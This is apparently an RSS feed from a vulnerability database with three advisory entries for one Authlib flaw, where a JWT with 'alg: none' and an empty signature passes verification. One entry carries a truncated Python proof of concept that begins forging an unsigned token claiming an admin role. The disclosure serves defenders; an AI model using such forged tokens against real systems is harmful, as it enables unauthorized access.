<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 11:35:04 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-28802 — Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-28802</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; authlib, Red Hat Ansible Automation Platform 2.6, Red Hat Quay 3.10, Red Hat Quay 3.12, Red Hat Quay 3.15, Red Hat Quay 3.16, Red Hat Quay 3.9, Red Hat Satellite 6&lt;/p&gt;
&lt;p&gt;Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; authlib, Red Hat Ansible Automation Platform 2.6, Red Hat Quay 3.10, Red Hat Quay 3.12, Red Hat Quay 3.15, Red Hat Quay 3.16, Red Hat Quay 3.9, Red Hat Satellite 6&lt;/p&gt;
&lt;p&gt;Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-28802</guid>
    </item>
    <item>
      <title>GHSA-7wc2-qxgw-g8gg — Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-7wc2-qxgw-g8gg</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: authlib&lt;/p&gt;
&lt;p&gt;### Summary
After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.&lt;/p&gt;
&lt;p&gt;### Details
It was likely introduced in this commit:
https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75&lt;/p&gt;
&lt;p&gt;### PoC
```
from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64&lt;/p&gt;
&lt;p&gt;def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk[&amp;#34;kid&amp;#34;] = &amp;#34;test-key-001&amp;#34;
    jwk[&amp;#34;use&amp;#34;] = &amp;#34;sig&amp;#34;
    jwk[&amp;#34;alg&amp;#34;] = &amp;#34;RS256&amp;#34;
    jwks = {&amp;#34;keys&amp;#34;: [jwk]}
    return jwks&lt;/p&gt;
&lt;p&gt;def create_forged_token_with_alg_none():
    forged_header = {&amp;#34;alg&amp;#34;: &amp;#34;none&amp;#34;}
    forged_payload = {
        &amp;#34;sub&amp;#34;: &amp;#34;user123&amp;#34;,
        &amp;#34;role&amp;#34;: &amp;#34;admin&amp;#34;,
        &amp;#34;iat&amp;#34;: 1735603200,
    }&lt;/p&gt;
&lt;p&gt;header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode(&amp;#34;utf-8&amp;#34;)
    ).rstrip(b&amp;#34;=&amp;#34;)&lt;/p&gt;
&lt;p&gt;p…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: authlib&lt;/p&gt;
&lt;p&gt;### Summary
After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.&lt;/p&gt;
&lt;p&gt;### Details
It was likely introduced in this commit:
https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75&lt;/p&gt;
&lt;p&gt;### PoC
```
from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64&lt;/p&gt;
&lt;p&gt;def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk[&amp;#34;kid&amp;#34;] = &amp;#34;test-key-001&amp;#34;
    jwk[&amp;#34;use&amp;#34;] = &amp;#34;sig&amp;#34;
    jwk[&amp;#34;alg&amp;#34;] = &amp;#34;RS256&amp;#34;
    jwks = {&amp;#34;keys&amp;#34;: [jwk]}
    return jwks&lt;/p&gt;
&lt;p&gt;def create_forged_token_with_alg_none():
    forged_header = {&amp;#34;alg&amp;#34;: &amp;#34;none&amp;#34;}
    forged_payload = {
        &amp;#34;sub&amp;#34;: &amp;#34;user123&amp;#34;,
        &amp;#34;role&amp;#34;: &amp;#34;admin&amp;#34;,
        &amp;#34;iat&amp;#34;: 1735603200,
    }&lt;/p&gt;
&lt;p&gt;header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode(&amp;#34;utf-8&amp;#34;)
    ).rstrip(b&amp;#34;=&amp;#34;)&lt;/p&gt;
&lt;p&gt;p…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-7wc2-qxgw-g8gg</guid>
    </item>
    <item>
      <title>PYSEC-2026-2118</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-2118</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: authlib&lt;/p&gt;
&lt;p&gt;Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: authlib&lt;/p&gt;
&lt;p&gt;Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-2118</guid>
    </item>
  </channel>
</rss>
